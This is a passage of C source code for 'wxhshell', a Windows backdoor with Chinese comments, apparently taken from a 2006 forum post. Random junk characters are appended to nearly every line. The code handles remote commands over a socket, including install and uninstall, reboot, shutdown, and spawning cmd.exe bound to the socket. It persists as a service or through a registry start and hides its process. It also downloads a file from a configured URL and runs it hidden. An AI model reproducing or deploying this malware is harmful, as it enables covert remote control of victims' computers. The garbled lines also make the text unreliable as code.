  else { rS,* s'G  
(F4dFh  
    switch(cmd[0]) { wHo#%Y,Nmi  
  vMW-gk  
  // 帮助 flm,r<*}  
  case '?': { P@! Q1pr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U&d-?PI  
    break; ^=-*L 3f  
  } k`iq<b  
  // 安装 's7SZ$(  
  case 'i': { #V(Hk )  
    if(Install()) dH2j*G Ij  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); //'xR8Z  
    else ATXx? b8h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #C=L^cSx(  
    break; 2S7H_qo$  
    } FzsS~C$wH{  
  // 卸载 K_<lO,[S  
  case 'r': { Bcd0   
    if(Uninstall()) Hm8EYPr J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;k63RNT,M&  
    else ] fwTi(4y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6U,U[MWJ  
    break; 4/mj"PBKL  
    } f4aD0.K.g|  
  // 显示 wxhshell 所在路径 /%}YuN  
  case 'p': { mXN1b!  
    char svExeFile[MAX_PATH]; =E6i1x%j  
    strcpy(svExeFile,"\n\r"); yo Q?lh  
      strcat(svExeFile,ExeFile); wZ\e3H z  
        send(wsh,svExeFile,strlen(svExeFile),0); ,Rr&.  
    break; }ii]c Y  
    } [w#x5Xsn  
  // 重启 &s6(3k  
  case 'b': { :+Z>nHe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S*DBY~pZy  
    if(Boot(REBOOT)) [<3Q$*Ew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [u9S+:7"  
    else { B#Oc8`1Y  
    closesocket(wsh); d@q t%r3;  
    ExitThread(0); ui#1+p3G  
    } 5>z:[OdY*  
    break; lG[ )8!:+  
    } sP8-gkkor  
  // 关机 "#eNFCo7k  
  case 'd': { W0uM?J\O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H?/cG_^y0  
    if(Boot(SHUTDOWN)) 7]HIE]#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ph7(JV{  
    else { U%B]N@  
    closesocket(wsh); C}DG'z9  
    ExitThread(0); v,x%^gv0  
    } ~M9 n<kmE  
    break; \SHD  
    } KSpC%_LC  
  // 获取shell :0TSOT9.  
  case 's': { mGyIr kE  
    CmdShell(wsh); {$QF*j  
    closesocket(wsh); hz~CW-47  
    ExitThread(0); 5+Zx-oWq_  
    break; EuimZW\V  
  } 1o"oa<*_  
  // 退出 kvO`]>#;$?  
  case 'x': { %N_S/V0`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ll E_{||h  
    CloseIt(wsh); G~$M"@Q7N  
    break; +EB,7<5<  
    } 1-Wnc'(OK  
  // 离开 DGuUI}|)  
  case 'q': { ?PxYS%D_L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O'sr[  
    closesocket(wsh); (Ss77~W7  
    WSACleanup(); f!R^;'a  
    exit(1); f6_|dvY3  
    break; bEXHB  
        } I>4Tbwy.-  
  } F+m4  
  } ]2s Zu7  
jiB>.te  
  // 提示信息 Z?!:=x>7m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3b[[2x_UU  
} {pJ@I=q  
  } Y| N vBr  
I9j+x ])  
  return; fM[fS?W  
} L4A/7Ep  
+q, n}@y=  
// shell模块句柄 nR|LV'(  
int CmdShell(SOCKET sock) &+r ;>  
{ `GN5QLg#}0  
STARTUPINFO si; :>-sITeY  
ZeroMemory(&si,sizeof(si)); !m O] zn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [F-u'h< *l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >p#d;wK4_  
PROCESS_INFORMATION ProcessInfo; U@t?jTMBkO  
char cmdline[]="cmd"; VEYKrZA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tS/APSY  
  return 0; SIBIh-L  
} BHBT=,sI  
f+88R=-u6S  
// 自身启动模式 .$s|T  
int StartFromService(void) k-PRV8WO  
{ PNxO \Rc  
typedef struct %<*pM@  
{ E$yf2Q~k  
  DWORD ExitStatus; JP% ;rAoJ  
  DWORD PebBaseAddress; )*<d1$aM  
  DWORD AffinityMask; g8qAJ4  
  DWORD BasePriority; 8{=( #]  
  ULONG UniqueProcessId; 7/$Z7J!k  
  ULONG InheritedFromUniqueProcessId; (a4y1k t-  
}   PROCESS_BASIC_INFORMATION; J3}C T  
exMPw ;8  
PROCNTQSIP NtQueryInformationProcess; y42T.oK8c  
o6yZ@R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O09g b[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C]cT*B^  
a ZCZ/  
  HANDLE             hProcess; T[9jTO?W2  
  PROCESS_BASIC_INFORMATION pbi; 2i'-lM=  
btz3f9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,?N_67  
  if(NULL == hInst ) return 0; V`&*%xgGR  
l{SPV8[i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^WYG?/{4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EjCzou  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2 ]6u B e  
2X |jq4  
  if (!NtQueryInformationProcess) return 0; 4)Wzj4qW  
0+`*8G)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !Fs) "?  
  if(!hProcess) return 0; 91Sb= 9  
+A3\Hj&W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .8xacVyK2  
Ox1QP2t6Y  
  CloseHandle(hProcess); -hV KPIb  
*ww(5 t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [ #fqyg  
if(hProcess==NULL) return 0; $<DA[ %pv  
-r0\  
HMODULE hMod; 'Bn_'w~j{  
char procName[255]; qBrZg  
unsigned long cbNeeded; %lW:8 ckL  
l{x#*~g a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BQmafpp`  
^7<mlr  
  CloseHandle(hProcess); e~[z]GLO%  
<g1hdF0  
if(strstr(procName,"services")) return 1; // 以服务启动 yFtf~8s3  
T:5%sN;#O  
  return 0; // 注册表启动 siZ_JJW  
} L. ?dI82c  
gx R|S  
// 主模块 W 9MZ  
int StartWxhshell(LPSTR lpCmdLine) m&c(N  
{ Olh-(u:9+O  
  SOCKET wsl; mK&9p{4#U  
BOOL val=TRUE; m8A1^ R  
  int port=0; A{T@O5ucj  
  struct sockaddr_in door; m|gd9m $,?  
JJ06f~Iw[  
  if(wscfg.ws_autoins) Install(); A{"t0Ai='0  
9 9BK/>R  
port=atoi(lpCmdLine); ITPp T  
JNCtsfd  
if(port<=0) port=wscfg.ws_port; w:(7fu=  
ExU|EN-  
  WSADATA data; 8ngf(#_{_n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m*,[1oeG&  
L uK m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y\S^DJy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _qNLy/AY  
  door.sin_family = AF_INET; '0rwNEg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .[ s82c]]6  
  door.sin_port = htons(port); Tz~ ftf  
+>({pHZ<S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |.W;vc<  
closesocket(wsl); Qn&^.e9I  
return 1; z3LPR:&Z  
} C^O^Jj5X%  
;g9:0,xT4  
  if(listen(wsl,2) == INVALID_SOCKET) { bd;f@)X  
closesocket(wsl); <OB~60h"  
return 1; eR;0pWVl  
} ?MB nnyo6  
  Wxhshell(wsl); sUMn (@r  
  WSACleanup(); ^C T}i'  
e:occT  
return 0; &cE,9o%FZ  
j"8N)la  
} izo $0  
jo#F&  
// 以NT服务方式启动 9F!&y-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~[6|VpGc:  
{ !qv;F?2 <g  
DWORD   status = 0; p8J"%Jq}  
  DWORD   specificError = 0xfffffff; 8"^TWzg}L  
c17==S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w+P^c|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yBKlp08J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `vBa.)u  
  serviceStatus.dwWin32ExitCode     = 0; i|'t!3I^m  
  serviceStatus.dwServiceSpecificExitCode = 0; pSUp"wch  
  serviceStatus.dwCheckPoint       = 0; ZK*aVYnu  
  serviceStatus.dwWaitHint       = 0; y$NG..S  
_.LWc^Sg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z|H>jit+  
  if (hServiceStatusHandle==0) return; N Q=YTRU  
Dw,f~D$+ic  
status = GetLastError(); k JFHUR  
  if (status!=NO_ERROR) c>.Xc[H  
{ Lcm!e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BT0hx!Ti  
    serviceStatus.dwCheckPoint       = 0; ~Wv?p4  
    serviceStatus.dwWaitHint       = 0; !~v>&bCG>9  
    serviceStatus.dwWin32ExitCode     = status; (P8oXb+%  
    serviceStatus.dwServiceSpecificExitCode = specificError; s50ln&2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7C^ nk z  
    return; OSk9Eb4ld  
  } h (2k;M^s  
gp2)35  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {*Pp^ r  
  serviceStatus.dwCheckPoint       = 0; ![%,pip2/&  
  serviceStatus.dwWaitHint       = 0; b"9,DQB=i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N4-J !r@#~  
} ,iUx'U  
4pv :u:Z  
// 处理NT服务事件,比如:启动、停止 &.B6P|N'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IrC=9%pd$R  
{ L;`t%1  
switch(fdwControl) k6S<46}h|  
{ O?Tg`]EX  
case SERVICE_CONTROL_STOP: ? Y* PVx9Y  
  serviceStatus.dwWin32ExitCode = 0; YZ@-0_Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \f#ao<vQm  
  serviceStatus.dwCheckPoint   = 0; Jmx }r,j  
  serviceStatus.dwWaitHint     = 0; <^{:K`  
  { pM3BBF%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2oLa`33c1  
  } |&7,g  
  return; oJ:J'$W(  
case SERVICE_CONTROL_PAUSE: Ags`%(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <& iBR  
  break; (z7#KJ1+Aw  
case SERVICE_CONTROL_CONTINUE: *_wBV M=2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :_*Q IyW  
  break; 4fswx@l  
case SERVICE_CONTROL_INTERROGATE: Pa<X^&  
  break; lH.2H  
}; VWa(@ A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y{=@^4|]  
} =d}3>YHS  
|e\%pfZ   
// 标准应用程序主函数 Lw`\J|%p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ej+!|97M  
{ $!Tw`O  
@@jdF-Utj;  
// 获取操作系统版本 `Fj(g!`  
OsIsNt=GetOsVer(); 1S.~-K*X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ':3KZ4/C  
FQ%mNowuj  
  // 从命令行安装 lDeWs%n  
  if(strpbrk(lpCmdLine,"iI")) Install(); !=:c8V  
 ~A/_\-  
  // 下载执行文件 LNkyV*TI  
if(wscfg.ws_downexe) { 3 6 ;hg #  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "f_Z.6WMY  
  WinExec(wscfg.ws_filenam,SW_HIDE); a 2TC,   
} g:U ul4  
cht#~d  
if(!OsIsNt) { ZtVa*xl  
// 如果时win9x,隐藏进程并且设置为注册表启动 O [/~V=  
HideProc(); b3+PC$z2h  
StartWxhshell(lpCmdLine); S6]':  
} 1oPT8)[U  
else 4KCxhJq  
  if(StartFromService()) L@XeAEIq  
  // 以服务方式启动 \~PFD%]:3  
  StartServiceCtrlDispatcher(DispatchTable); F*f)Dv$p  
else ]_s]Q_+E  
  // 普通方式启动 sXu]k#I^"  
  StartWxhshell(lpCmdLine); lS^0*(Y  
DZue.or  
return 0; s><co]  
}
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只看该作者 1 发表于: 2006-10-10
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